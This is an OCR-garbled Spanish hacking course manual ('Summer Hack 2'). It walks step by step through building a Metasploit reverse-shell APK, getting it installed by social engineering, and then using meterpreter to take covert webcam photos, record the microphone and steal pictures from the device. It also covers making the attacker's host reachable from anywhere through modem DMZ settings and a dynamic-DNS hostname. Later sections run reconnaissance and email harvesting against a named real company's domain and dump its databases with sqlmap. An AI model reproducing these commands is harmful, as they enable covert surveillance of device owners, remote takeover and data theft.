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SUMMER HACK 2

CURS0O PReESE=NCINL
MEXICO D=
CON VNALLOR CURRICULANAR

ANDROID HACKING - AUDITORNMWIRELESS

SECAETARIA OF

£DUCACION PUBLICA W HACKKINGMEXICO MX/SUMM=ERHANACIHK2/

Herramientas :

Metasploit

Nmap

Consola o terminal
Phyton

SQLMap

Photorec
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1.-Ataque a Dispositivos Android con Metasploit

1.-Consola de Metasploit

1.1.-busqueda de mddulos y exploits para Android

2.1.-Creacion de un “.Apk” infectado para su instalacién en un sistema Android
2.2.-Instalacion del “.Apk” (intervencion del usuario)

3.-Explotacion Local y Remota

3.1.-Acceso local al dispositivo

3.2.-Manejo de la sesidon “meterpreter” en el Dispositivo infectado
3.3.-Conociendo las cdmaras de fotografia del dispositivo

3.4.-Tomando fotografias con el Dispotivo (cdmara frontal y delantera)

3.5.-Robo de informacion , fotografias , bd de whatsapp (en caso de tener)
3.6.-Explotacion Remota

3.6.1.-Conociendo nuestra infraestructura (provedor de servicio , Modem , Velocidad de
conexion)

3.6.2.-Conociendo el Servicio No-ip + creacion y configuracidon de nuestro modem
3.7.-Explotacion 100% remota.

2.-Automatizando ataques con la herramienta “SQL-Map”

1.-Inyeccion SQL . ¢Qué es?

2.-Factores que propician esta vulnerabilidad
3.-Instalacion de la herramienta SQL MAP
4.-Instalacion de Phyton (Windows)

5.-Conociendo la herramienta SQL MAP
6.-Conociendo a nuestro objetivo

6.1.-Nmap Scanner

6.2.-Whois

6.3.-Obtencion de Mails mediante script en phyton
7.-Obtencion de Datos de Mysq|l

8.-Obtencion de Usuarios

9.-Buscando el Panel de Administracion mediante la herramienta “Dir Buster”
10.-Instalando el Entorno grafico de “SQL-Map”
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3.- Recuperacion de Datos mediante consola

1.-Conociendo el Software “PhotoRec”
2.-Instalacion y creacion de Alias
3.-Perdiendo/Borrando Datos en una USB/HDD
4.-Ejercicio de Recuperacion

5.-Analisis de Datos

6.-Recuperacion de Archivos a nivel Forense
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1.-Ataque a Dispositivos Android con Metasploit

Iniciamos abriendo nuestra consola de Metasploit

3.5/1ib/bundler/runtime 6: warning: Insecure world writabl

EXPLOIT
msf >

RECON

e not connected or cache not built, using

normal A oid Content Provider File Disclosure
normal =

normal dr

normal
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Crearemos un “.Apk” con infeccion para la obtencidn de una sesidén con meterpreter de
manera remota y local.

1.-Entramos en la carpeta de instalacién, en este caso la ruta de instalacion en mi
computadora es la siguiente “/opt/msf”

MacBook-Pro-de-Makuaz:/ Makuaz$ cd /opt/msf/

MacBook-Pro-de-Makuaz:msf Makuaz$ pwd
/opt/msf

DATOS DE CONEXION E INFRAESTRUCTURA UTILIZADOS DURANTE ESTE ATAQUE

ATACANTE IP : 192.68.1.252
PUERTO ATACANTE : 6789

VICTIMA : 192.168.1.219

2.-Una vez en la carpeta de instalacion de Metasploit usaremos el siguiente comando

“/msfpayload android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-IP
LPORT=PUERTO R > /RUTA/nombre_de_la_app.apk”

“./msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.252 LPORT=6789 R >
/RUTA/hacking_mexico.apk”
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3.-Creacion de la aplicacion para Android.

Concnltnra

Nombre

Clase

Tamarno
Creacion
Modificacién
Ultima apertura

hacking_mexico.apk
Documento

10 KB

hoy 20:16

hoy 20:16

hoy 20:16

Harlkino

Méavirn
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4.-Conociendo a nuestro objetivo

Ficha Técnica

Tablet PC—iT780

7 pulgadas 800X480 TFT imdgenes claras y coloridas
5-puntos “capacitive touch screen” para facil operacién
Memoria Interna: 8GB

DDR3: 512MB y con T-Flash Externa hasta 32GB

Wifi con velocidad: 150Mbps
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Compatible con sefial 3G

5.-Instalacion del “.Apk” infectado

En esta parte del proceso se requiere intervencion del usuario para instalar la aplicaciéon
en el dispositivo.

Hay muchas maneras de hacerlo una de ellas es la ingenieria social .

En este Caso he enviando la aplicacion por correo electrénico y procedi a la instalacién.
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Descarga e instalacion del “.Apk”
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i MainActivity

¢Deseas instalar la aplicacién?

Permitir que esta aplicacién:
e Tuinformacién personal
escribir datos de contacto, leer datos de contacto

Servicios que te cuestan dinero
enviar mensajes SMS, llamar directamente a nimeros de teléfono

Tu ubicacién

ubicacién precisa (GPS)

Tus mensajes

recibir SMS
Comunicacion de red
acceso total a Internet

Espacio de almacenamiento
ificarseliminar el conter fe la tarjet:

Controles de hardware

t fotografias y o

Instalar
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™ MainActivity

v/ Aplicacién instalada

6.-Explotacion Mediante Metasploit

Continuamos Posicionados en la carpeta de instalacidon , y procedemos a ejecutar el
siguiente comando.

“./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp
LHOST=IP_LOCAL/NO-IP LPORT=PUERTO E “

“./msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp
LHOST=192.168.1.252 LPORT=6789 E “
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//metasploit. pro

dler on 192.168.0.104:6789
d handler. ..

Como podemos observar el payload esta esperando la conexién con la Tablet , en este
caso es necesario ejecutar la aplicacion en el dispositivo.

PAYLOAD => android/meterpreter/reverse_tcp
LHOST =>192.168.1.252

LPORT => 6789

[*] Started reverse handler on 192.168.1.252:6789
[*] Starting the payload handler...

PAYLOAD => android/meterpreter/reverse_tcp

LHOST =>192.168.1.252

LPORT => 6789

[*] Started reverse handler on 192.168.1.252:6789

[*] Starting the payload handler...

[*] Sending stage (39698 bytes) to 192.168.1.219

[*] Meterpreter session 1 opened (192.168.1.252:6789 -> 192.168.1.219:49423) at 2013-
09-17 12:20:57 -0500

meterpreter >
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una vez obtenida la sesion de meterpreter , vamos a revisar las opciones disponibles
mediante el comando “help”.

meterpreter > help

Core Commands

Command Description

? Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels

close Closes a channel

disable_unicode_encoding
enable_unicode_encoding
exit

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

help Help menu

info Displays information about a Post module
interact Interacts with a channel

irb Drop into irb scripting mode

load Load one or more meterpreter extensions
quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
use Deprecated alias for 'load'

write Writes data to a channel

Stdapi: File system Commands

Command Description
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
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lcd Change local working directory
Ipwd Print local working directory

Is List files

mkdir Make directory

pwd Print working directory

rm Delete the specified file

rmdir Remove directory

search Search for files
upload Upload a file or directory

Stdapi: Networking Commands

Command Description

ifconfig  Display interfaces

ipconfig  Display interfaces

portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

execute Execute a command

getuid Get the user that the server is running as
ps List running processes
shell Drop into a system command shell

sysinfo Gets information about the remote system, such as OS

Stdapi: Webcam Commands

Command Description
record_mic Record audio from the default microphone for X seconds
webcam_list List webcams

webcam_snap  Take a snapshot from the specified webcam
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Utilizamos el comando “sysinfo” y vemos que datos arroja :

meter
Computer + localhost
0s  Linux 3

g+ (army7Ll)
Meterpreter : jz

meterpreter

meterpreter > sysinfo
Computer :localhost
0osS : Linux 3.0.8+ (armv7l)
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Meterpreter: java/java

Comando “webcam_list” , para listar las camaras web en el dispositivo.

Comando “webcam_snap” , para tomar una foto en tiempo real con el dispositivo.

meterpreter *webcam_snap
Starting...
Got frame
Stopped
Webcam shot / y fopt/msT/OCutolEL. jpeg

e 0 O | QCutolEl.jpeg
LENL =Rl DRl ] | IRl IR N

Comando “ifconfig” , para revisar las interfaces de red y la mac address del equipo.
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meterpreter * ifconfig

Name v Lo - lo
Hardware MAl
IPv4 Address
IPvd4 Netmas
IPvEe Addres
IPvEe Netmas

X W XA

Interfac

tunl@ - tunl@
Hardware

Interface

Name
Hardware

Interface

Name P os1th - sitl
Hardware

ipethnll - ip6tnlo

Name v wlanll - wlanb
Hardware MALC

IPv4 Address : 192.163.

IPv4 Netmask : 255,255, 25¢
IPv6 Address : fTedld::

IPve Netmask

Comando “record_mic” , para grabar audio con el dispositivo :

Concnltnra Harlkino Méavirn



Summer Hack 2 Juan Angel Osorio Juarez Vicepresidente

record mic
Starting...
Stopped
dudio saved to: fopt/msT/wnRLHcylU.wav
meter »

Name 1 User
Finit root
kthreadd root
¢<softirqd/o root
rcu kthread root
cpuget root
khelper root
netns root

1

oy W

0 =)

Ta =

SUs root
SUpPErsS root

bdi Er‘:fault root
kintegrityd root
kblockd root
khubd root
cpufreq uevent root
180211 root
usb-hardware-sc root
Foo f

root

Foo f

Comando “Is” , para listar los archivos.
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meterpr - pwd
fcom.metasploit.stag

Nos Posicionamos en la ruta “/mnt/sdcard/Pictures/” que en este caso es la ruta donde la
Tablet guarda las fotos en la memoria externa.

meterpreter > cd /mnt/sdcard/Pictures
meterpreter >ls

terpreter * 1s

isting: /mnt/sdcard/Pictures

modi fied

Jrw-rw-rw-

FIrW=-rWw=-rw-

Ahora descargaremos una foto a nuestro escritorio mediante el comando “download”.
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meterpreter > download 01.jpg /Users/Makuaz/Desktop
meterpreter > download 01.jpg /tu_/ruta/

meterpreter > download 01l.jpg /Users/Makuaz/Desktop
downloading: Bl.jpg -> /fUsers/Makuaz/Desktop/0l.jpg

downloaded : 0l.jpg -> /fUsers/Makuaz/Desktop/0l.jpg

meterpreter

FAVORITOS B 01.jpg
£ Todos mis archivos |
*;* AirDrop
#% Applications
] CloudStation
.. Datos
] Descargas

| ] Documentos

Cerramos la sesidn de meterpreter con el comando “exit”.

eterpreter * exi

Shutting down Meterpreter...

192.168.1.219 - Meterpreter session 1 closed.

MacBook-Pro-de-Makuaz:msf Makuaz$ D

Explotacion Remota
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La explotacion Remota consiste en poder infectar un dispositivo android , no importa en
gue estado de la republica o pais se encuentre, con este tipo de explotacion podremos
obtener la sesidon de “meterpreter” remota.

win Lj(, wS

> axplort

XPLOIT
4 4 4

el usermn

oterpr ater

Conociendo nuestra infraestructura (proveedor de servicio , Modem , Velocidad de
conexion)

Para poder hacer la explotacion remota debemos conocer bien nuestra infraestructura de
red y de proveedor de servicio de internet.

-Modem
modelo y conocer la entrada al panel de la configuracion

-Ethernet o WIFI?
Cable rj45 o inaldmbrico

-Conexion

De forma opcional debemos hacer una prueba de conexidn para saber a cuantos megas
navegamos.

Suponiendo que contamos con un modem 2wire de Telmex y conociendo que es
inalambrico , procederemos a abrir los puertos mediante una sencilla configuracién.
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Por lo regular la configuracion del modem es a través de la ip “192.168.1.254”
(obviamente debemos estar conectados)

Abrimos nuestro navegador y nos dirigimos a la direccién “192.168.1.254” en algunos
maddems nos pedird el usuario, el cual es “Telmex” y la contraseiia es “la clave wep”.

JI3LCIa. nEswnITH

| € 192.168.1.254

iCloud Facebook Twitter Wikipedia Yahoo! Noticias ¥ Populares v

s &
L b CoMer W
= Enlace de - Red Bloqueo
Sistema Banda Ancha : Doméstica : deintrusos :

| =Resumen | Contrasefiadel sistema | Configuracion defechayhora | Detalles | A INICIO | Ayuda | Mapa del sitio

Resumen de la red ) Bloqueo de intrusos

Bloqueo de * Ver resumen del
) - intrusos blogueo de intrusos
o - \
- < 2701HG-T + Cambiar la contraseiia del Activo
: « Programa: 5.29.135.5 sistema
‘-;L « Contrasefa: o Politica de privacidad | || cceceeeeen e
< Establecida
* Ver detalles Actualizar el sistema
E_I programa del « Ver las
s'stte"r‘a ?‘a actualizaciones y
actualizado. p is ponil
opciones disponibles
ﬁ & Enlace de banda » Monitorear Ia conexién a Compruebe més
ancha Internet adelante si se ofrecen
i Velocidad de conexién: + Ver resumen actualizaciones.
«Entrante: 12543 kbps |l
« Saliente: 957 kbps Conflgurar
Ejecutar el As}stente Informacién de
r\f & Red doméstica » Ver la red doméstica g;g:gnguracbn e registio
LW é’ Computadoras: « Ejecutar el Asistente
S de configuracion del
@} & 189.191.121.219 do confiuracion dol

Ingresamos a la administracion del modem .

= H -~ - —

E - =S :

H | : = = H =

=L #* Enlace de H Red : Bloqueo
Sistema Banda Ancha : Doméstica : de intrusos

| Resumen | = Contrasefiadel sistema | Configuracién de fechay hora | Detalles |

Ingresar contrasena

Contrasena del sistema

La contrasena es obligatoria.
Ingrese la contrasefna del sistema y haga clic en ENVIAR.

Contrasefia: | -

Busque el codigo de seguridad (WEP Key) en la etiqueta
que se encuentra en la parte inferior del modem. Este
codigo se encuentra entre corchetes, debajo del Numero
de Serie (SN) y esta formado por 10 digitos. Ejemplo:
[1234567890].

Ubicacion de
Contrasefa

Nota: Si usted ha cambiado la contrasefia con
anterioridad, solo escriba esa contrasefia y presione el
boton (Enviar)

No recuerdo la contrasefa.

enwviar] canceLar]
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Entramos a la configuracion de “Bloqueo de Intrusos”.

7 . NS &
| @ B %

- ° Enlace de - Red Bloqueo
Sistema : Banda Ancha : Doméstica de intrusos

. =Resumen | Configuracién del blogueo de intrusos | Configuracién avanzada |

Ver resumen del bloqueo de intrusos

Configuracién del bloqueo de intrusos

= Bloqueo de intrusos activo

El blogueo de intrusos bloquea activamente el acceso de

actividades no deseadas provenientes de Internet. Si utiliza

u una aplicacién que requiere |la apertura de un puerto en el
bloqueo de intrusos, haga clic en Configuracion del
bloqueo de intrusos, situado mas arriba.

Configuracién actual: Personalizada

Aplicaciones
Dispositivo permitidas
189.191.121.219 Todas 189.191.121.219

VER DETALLESI

En este ejemplo la computadora del lado derecho llamada “Makuaz-Private” es la que esta

conectada a lared, ahi puede ser tu equipo y debes identificarlo con el nombre que le
hayas puesto a tu pc.
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@ v %

. * Enlace de - Red Blogqueo
Sistema  © panda Ancha : Doméstica : | de intrusos
| Resumen | = Configuracién del blogueo de intrusos | Configuracién avanzada | 2 INICIO | Ayuda | Mapa del sitio

Modificar configuracion del sistema de bloqueo de intrusos

Configuracion o

De modo predeterminado, el bloqueo de intrusos bloquea el acceso no autorizado desde Internet. Para

permitir el acceso desde Internet a aplicaciones que se ejecutan en computadoras que forman parte de * Ver detalles del
la red doméstica segura, habilite los puertos de acceso del bloqueo de intrusos. La apertura de este tipo | cortafueos

de puertos de acceso se denomina también redireccionamiento de puertos del bloqueo de intrusos. * Restablecer la
Para ello, asocie |a aplicacion que desee con la computadora que se indica a continuacién. Si no configuracién del
encuentra un listado de dicha aplicacion, podra crear un perfil de aplicacion definido por el usuario cortafuegos

(para ello, necesitara informacion relativa al puerto y al protocolo).

Para permitir que los usuarios accedan las aplicaciones alojadas a través del bloqueo de intrusos...
© Seleccionar una computadora

Seleccionar la computadora que alojara las aplicaciones a través del bloqueo de intrusos: | M4kudz-Private  +

9 Modificar la configuracién del bloqueo de intrusos correspondiente a esta computadora:
(s) Proteccién maxima — No permitir trafico de entrada no solicitado.

, Permitir aplicaciones individuales — Seleccione las aplicaciones que pueden entrar a esta computadora a través del
blogueo de intrusos. Haga clic en AGREGAR para agregarlas a la lista Aplicaciones alojadas.

| Todas las aplicaciones s Aplicaciones alojadas:

Age of Empires
Age of Kings

Age of Wonders
Aliens vs Predator AGREGAR
Anarchy Online
Asheron’s Call

Asistencia remota de XP QUITAR
Baldur’s Gate
BattleCom

Battlefield Communicator

«» Agregar una nueva aplicacién definida por el usuario

Escojemos “Permitir todas las Aplicaciones (modo DMZplus (Zona desmilitarizada), y
damos aceptar.
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Para permitir que los usuarios accedan las aplicaciones alojadas a través del bloqueo de intrusos...
© Seleccionar una computadora
Seleccionar la computadora que alojara las aplicaciones a través del blogueo de intrusos: | M4ku4z-Private  +

© Modificar la configuracién del bloqueo de intrusos correspondiente a esta computadora:

() Proteccién maxima — No permitir trafico de entrada no solicitado.

() Permitir aplicaciones individuales — Seleccione las aplicaciones que pueden entrar a esta computadora a través del
~ bloqueo de intrusos. Haga clic en AGREGAR para agregarlas a la lista Aplicaciones alojadas.

| Todas las aplicaciones : | Aplicaciones alojadas:

Age of Empires
Age of Kings

Age of Wonders
Aliens vs Predator AGREGAR
Anarchy Online
Asheron’s Call

Asistencia remota de XP QUlTARI
Baldur’s Gate
BattleCom

Battlefield Communicator

» Agregar una nueva aplicacién definida por el usuario

® Permitir todas las aplicaciones (modo DMZplus(Zona desmilitarizada)) — Configure la computadora seleccionada en
modo DMZplus. Todo el trafico entrante, excepto el que se asigné especificamente a otra computadora mediante la
funcién “*Permitir aplicaciones individuales”, se dirigira automaticamente a esta computadora. La computadora en modo
DMZplus es menos segura, ya que todos los puertos no asignados del bloqueo de intrusos estan abiertos para la misma.

Computadora con DMZplus actual: 189.191.121.219
Nota: Tras seleccionar el modo DMZplus y hacer clic en REALIZADO, el sistema proporcionara una nueva direccién IP a la

computadora seleccionada. Para obtenerla, la computadora debe estar establecida en modo DHCP. A continuacién, debera rearrancar
esta Gltima. Sise dispone a cambiar el modo DMZplus de una computadora a otra, debera rearrancar ambas.

ACEPTARI

Una vez hecho esto Reiniciamos el modem para que se apliquen los cambios.
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”

~ |
> f Enlace de : Red Bloqueo
Sistema Banda Ancha : Doméstica : de intrusos

Configuracién de fechay hora | Detalles

| Resumen | Contrasefia del sistema |
¢ Esta seguro de que desea reiniciar el sistema?

Reiniciar

La operacién de reinicio del sistema se demorara unos minutos, durante
los cuales no podra acceder a la red local ni a Internet. Haga clic en
CONFIRMAR para reiniciar el sistema.

CONFIRMAR| | CANCELAR]

Una vez reiniciado vamos a verificar que direccion ip tenemos con la ayuda de google y la

siguiente pagina :

http://www.cual-es-mi-ip.net
cual es miip

Zqué esip?
el protocolo de internet ( ip, Internet Protocol ) es un protocolo utilizado para la
comunicacion de datos a través de una red de pagquetes combinados.

qué es una direccién ip?
es un nimero que identifica a una interfaz de cualquier dispositivo de red.

ips puablicas / privadas

v puablica: una unica ip que identifica nuestra red desde el exterior.
v  privada: una ip que identifica a un dispositivo conectado en nuestra red
interna.

mi ip

1 89 - 1 9 1 . 1 2 1 . 2 1 9 prueba el nuevo test de velocidad
Visita nuestra Comparativa ADSL y cable con todas las ofertas actuales

mis datos
u»paso por proxy:

no

Ahora Copiamos y pegamos en nuestro navegador , y por ejemplo en mi caso esta

abierto el puerto para mi NAS.
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M4kud4z-Private

[l Recordarme

Synology DsMm 4.2

Con esto ya tenemos todos los puertos abiertos , ¢ pero que pasa si reinicio mi modem y/o
se va la luz? , es claro que la ip va a cambiar y la explotacién remota ya no funcionara ya
gue el apk infectado apunta a una ip en especifico y como ya no tenemos esa ip
apuntando hacia nuestra pc y modem , dejara de funcionar.

3.6.2.-Conociendo el Servicio No-ip + creacion y configuracion de nuestro modem
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El Servicio no-ip nos proporciona un subdominio para poder utilizar nuestra ip , no
importando si cambia.

El registro es bastante sencillo a través de su pagina . http://www.noip.com
Una vez registrado accede a “add-host”

Add a host

Fill out the following fields to configure your host. After you are done click ‘Create Host' to add your host.

+ Own a domain name?

Use your own domain name with our DNS system. Add or Register your domain name now or read more for pricing and
features.

Hostname Information

Hostname: zapto.org s @

Host Type: (®)DNS Host (A) (C)DNS Host (Round Robin) (_)DNS Alias (CNAME) @
(OPort 80 Redirect (_)Web Redirect (_)AAAA (IPv6)

IP Address: 189.191.121.21¢ (2]

Assign to Group: - No Group - 4| [ Configure Groups @

Enable Wildcarg:  Yildcards are a Plus / Enhanced feature. Upgrade Now! @

Escoges el nombre ejemplo: “apk_zombies” y el subdominio que gustes del lado derecho y
da clic en “Add Host” y listo ya tienes un subdominio gratis apuntando a tu ip y tu pc.

3.7.-Explotacion 100% remota.
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Una vez que tenemos configurado el modem en modo DMZ y el servicio No-ip apuntando
a nuestro modem y pc, vamos a crear el apk infectado .... Pero esta vez en vez de poner ip
vamos a poner el subdominio de No-ip.

Una vez en la carpeta de instalaciéon de Metasploit usaremos el siguiente comando

“./msfpayload android/meterpreter/reverse_tcp LHOST=IP_LOCAL/NO-IP
LPORT=PUERTO R > /RUTA/nombre_de_la_app.apk”

“ /msfpayload android/meterpreter/reverse_tcp LHOST=apk_zombies.dominio.no-
ip.com LPORT=6789 R > /RUTA/hacking_mexico.apk”

y listo seguimos los pasos anteriores.

1.-Inyeccion SQL . ¢Qué es?
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WEB SECURITY:

SQGL INJECTION -

Tomado de Wikipedia :

Inyeccion SQL es un método de infiltracion de cédigo intruso que se vale de una
vulnerabilidad informatica.

Presente en una aplicacidon en el nivel de validacién de las entradas para realizar consultas
a una base de datos.

El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables
utilizadas en un programa que contiene, o bien genera, cédigo SQL . Es, de hecho, un error
de una clase mas general de vulnerabilidades que puede ocurrir en cualquier lenguaje de
programacion y/o Script que esté embebido dentro de otro

Se conoce como Inyeccién SQL, indistintamente, al tipo de vulnerabilidad, al método de
infiltracidn, al hecho de incrustar cédigo SQL intruso y a la porcién de cddigo incrustado.
2.-Factores que propician esta vulnerabilidad

-Mala administracién del servidor mysq|l

-Mostrar al usuario el error generado por la base de datos.

-Darle al usuario de la base de datos que maneja el script o el cms permisos maximos
-El no parametrizar las consultas SQL

-El no rechazar las peticiones con caracteres especiales

3.-Instalacion de la herramienta SQL MAP
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Durante el Curso se entregara la herramienta SQL MAP la cual esta compresa solo basta
con descomprimir en una carpeta deseada.

| ActivePytho...5_32bits.msi
" ActivePytho...5_64bits.msi
(] GUI-SQLMAP

™ SQLMAP

4.-Instalacion de Python (Windows)

Concnltnra
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“ sqlmap.conf

Otro

(1] doc
(] extra
G lib

(] plugins
(] procs
(1 shell
(] tamper
(] thirdparty
Gl txt

C udf
] waf
Cd xml

Sublime Text 2

CONTRIBUTING.md
README.md

Xcode

7 sglmap.py
“~ sqglmapapi.py
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Debido a que los sistemas operativos basados en Windows no cuentan con soporte nativo
de “Python”, te proporcionamos el software de instalacion para que puedas ejecutar
“SQL-Map” sin ningun problema.(32 y 64 bits).

5.-Conociendo la herramienta SQL MAP

Una vez instalado hay que aprender a usar “SQL Map” mediante el comando “python”
Vemos los comandos Disponibles :

“MacBook-Pro-de-Makuaz:sqimap Makuaz$ python sqlmap.py --help
Usage: python sqlmap.py [options]”

6.-Conociendo a nuestro objetivo
Durante el inicio del ataque es recomendable conocer a nuestro objetivo para saber con
que estamos tratando, para ello usaremos las siguientes herramientas.

Nmap
Whois

6.1.-Nmap Scanner

Nmap esta disefiado para conocer la infraestructura fisica y légica de nuestra victima,
nmap nos otorga, version de los servicios y en que puertos esta corriendo dicho servicio.

Comando Completo
“nmap www.biobel.com.mx”

Starting Nmap 6.25 ( http://nmap.org ) at 2013-09-18 00:19 CDT
Nmap scan report for www.biobel.com.mx (209.160.42.120)
Host is up (0.14s latency).

rDNS record for 209.160.42.120: www.x-ti.com.mx

Not shown: 989 closed ports

PORT STATE SERVICE

21/tcp open ftp

25/tcp filtered smtp

53/tcp open domain

80/tcp open http

106/tcp open pop3pw

110/tcp open pop3

143/tcp open imap

1720/tcp filtered H.323/Q.931

Escaneado Agresivo :

Conanltnra Harkine Méavica



“nmap -sS -sV -O www.biobel.com.mx”

Starting Nmap 6.25 ( http://nmap.org ) at 2013-09-18 00:22 CDT
Nmap scan report for www.biobel.com.mx (209.160.42.120)
Host is up (0.11s latency).

rDNS record for 209.160.42.120: www.x-ti.com.mx

Not shown: 984 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd (before 2.0.8) or WU-FTPD
25/tcp filtered smtp
53/tcp open domain ISCBIND 9.3.1

80/tcp open http?
106/tcp open tcpwrapped

110/tcp open pop3 Dovecot pop3d

143/tcp open imap Dovecot imapd

1720/tcp filtered H.323/Q.931

2222/tcp open ssh OpenSSH 4.2 (protocol 2.0)

2967/tcp filtered symantec-av

4443 /tcp filtered pharos

4445/tcp filtered upnotifyp

5801/tcp filtered vnc-http-1

6839/tcp filtered unknown

10000/tcp filtered snet-sensor-mgmt

20000/tcp open  http MiniServ 0.01 (Webmin httpd)

Aggressive OS guesses: OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (91%), Linux 2.6.8 -
2.6.27 (91%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (90%), Linux 2.6.21 (90%), Linux
2.6.26 (90%), Linux 2.6.18 (89%), Linux 2.6.18 - 2.6.27 (89%), Linux 2.6.16 - 2.6.20 (89%),
Linux 2.6.18 - 2.6.24 (89%), Linux 2.6.18-8.el5 (Red Hat Enterprise Linux 5) (89%)

No exact OS matches for host (test conditions non-ideal).

Service Info: Host: ESTAS

6.2.-Whois
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Conocer registrante del dominio y su direccion.

Comando completo en consola o terminal.

“whois http://www.biobel.com.mx”

Cadena_lnvalida/Invalid_String

&PARAMETROS VALIDOS:

&NombreObjeto Busca en la base de datos de NIC Mexico el objeto solicitado.
&=NombreDominio Verifica la disponibilidad de un nombre de dominio.

&? Muestra este mensaje.

&NOTA:
&Si se busca informacién sobre un dominio este debe pertenecer al ccTLD .mx

En este caso vemos que no arroja informacion relevante asi que usaremos la siguiente URL
para validar aun mas la informacion
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http://who.is

@ Registrar Info

@ Site Status

Name
Whois Server
Referral URL

Status

@ Important Dates

GODADDY.COM, LLC

whois.godaddy.com

http://registrar.godaddy.com

clientDeleteProhibited,
clientRenewProhibited,
clientTransferProhibited,
clientUpdateProhibited

Expires On February 02, 2020
Registered On February 01, 1995
Updated On May 19, 2013

@ Name Servers

ns1.dsredirection.com 204.13.160.143

ns2.dsredirection.com

204.13.161.145

IP Address 208.73.211.230

Status inactive

Server Type Apache-
Coyote/1.1

@ Traffic Info

25,465 A 6,609

Alexa Trend/Rank One Month @

28,694 v8,809

Alexa Trend/Rank Three Month @

1.2 v0.85%

Page Views Per Visit One Month

1.2 v5.65%

Page Views Per Visit Three Month

Como podemos ver esta hospeado en Godaddy y tiene proteccidn de privacidad .

Ademas de que el dominio expira en febrero 2 del 2020.

6.3.-Obtencion de Mails mediante script en python

Ahora obtendremos los mails asociados mediante un script hecho en Python .

Concnltnra
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Xcode

hm_mail_dump.py

Ejemplo :

El script se encuentra en mi escritorio, desde consola me ubico en el escritorio
MacBook-Pro-de-Makuaz:sqlmap Makuaz$ cd /Users/Makuaz/Desktop/
MacBook-Pro-de-Makuaz:Desktop Makuaz$ pwd

/Users/Makuaz/Desktop

Ejecutamos el script mediante el comando “python nombre_script.py + dominio”

Comando completo

“python hm_mail_dump.py www.biobel.com.mx”

MacBook-Pro-de-Makuaz:Desktop Makuaz$ python hm_mail_dump.py biobel.com.mx

+++++++ bbbt bbbt bbb bbb bbb bbb+
+ Google Web & Group Results:
+++++++++++ bbb+

iobel.com.mx
@biobel.com.mx
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6.3.1.- El website del objetivo (target)

[ 192.168.1.104/biobel/

e biobel

ALTA COSMETICA PROFESIONAL INICIO  NOSOTROS PRODUCTOS CLIENTES

CONTACTO O (Buscar )

DESVANECE LAS LINEAS D

Desvanecedores de arrugas
para contorno de ojos, lineas
de expresion, cuello y escote.

® biobel

Células Madre

de manzana y naranja

en perfecta sinergia con
activos de Ultima generacion.

® biobel

Bioactive Antiage

iTienes que probarlos!

DU

2 3N
LINEA ESPANOLA ‘ \

Gustavo Baz No. 98 - 2 piso,Col. Alce Blanco, Naucalpan, Edomex. C.P. 53370 Tels. 5359 0039 01800 2 BIOBEL (.

com.mx

6.4.-Buscando el error de mysql

http://192.168.1.104/biobel/bioexpresion.php?ba_id='

€ < C [} 192.168.1.104/biobel /bioexpresion.php?ba_id="

g hiobel

ALTACOSMETICAPROFESIONAL INICIO  NOSOTROS  PRODUCTOS ~ CLIENTES ~CONTACTO O (aueer

ERROR: Query SELECT * FROM bio_articulos WHERE ba_id =" You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
"atline 1
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7.-Obtencion de Datos de Mysql , Manos a la obra
Comando Completo

MacBook-Pro-de-Makuaz:sqlmap MakuazS “python sqlmap.py -u
http://192.168.1.104/biobel/bioexpresion.php?ba_id="

Informacion Destacada :

[23:37:30] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS 5.8

web application technology: PHP 5.3.23, Apache 2.2.3

back-end DBMS: MySQL 5.0

[23:37:30] [INFO] fetched data logged to text files under
'/Volumes/Datos/Documentos/hax0r/sqlmap/output/192.168.1.104"'

Web server operating s

web application technology: PHP 5.3

back-end DBNS: MySQL 5.0
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7.1.-Listar base de datos disponibles

Utilizaremos el comodin “--dbs” para listar las bases de datos disponibles , por lo regular
las bases de datos se llaman igual que el dominio.

Donde “--dbs” = Base de Datos

Comando Completo
“MacBook-Pro-de-Makuaz:sqimap Makuaz$ python sqlmap.py -u
http://192.168.1.104/biobel/bioexpresion.php?ba_id= --dbs”

Informacion Destacada :

[23:42:10] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS 5.8

web application technology: PHP 5.3.23, Apache 2.2.3
back-end DBMS: MySQL 5.0

[23:42:10] [INFO] fetching database names

[23:42:10] [INFO] the SQL query used returns 5 entries
[23:42:10] [INFO] resumed: "information_schema"
[23:42:10] [INFO] resumed: "biobel_web"

[23:42:10] [INFO] resumed: "botargas"

[23:42:10] [INFO] resumed: "mysqgl"

[23:42:10] [INFO] resumed: "test"

available databases [5]:

[*] biobel_web

[*] botargas

[*] information_schema

[*] mysal

[*] test

*] shutting down a
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7.-2.-Obtencion de Tablas de la base de datos
Utilizaremos los comodines “--tables” “-D”

Donde “—tables” = Tablas
Donde “-D” = Base de Datos

Comando Completo:
MacBook-Pro-de-Makuaz:sqlmap MakuazS “python sqimap.py -u
http://192.168.1.104/biobel/bioexpresion.php?ba_id= --tables -D biobel_web”

Informacion Destacada :

[23:46:28] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS 5.8

web application technology: PHP 5.3.23, Apache 2.2.3
back-end DBMS: MySQL 5.0

[23:46:28] [INFO] fetching tables for database: 'biobel_web'
[23:46:28] [INFO] the SQL query used returns 21 entries
Database: biobel _web

[21 tables]

-+ -+
T T

| admins |

| bio_articulos |
| bio_artirel |

| bio_numeros |
| bio_relacionados |
| categorias |

| clientes |

| contacto |

| correos |

| distribuidores |
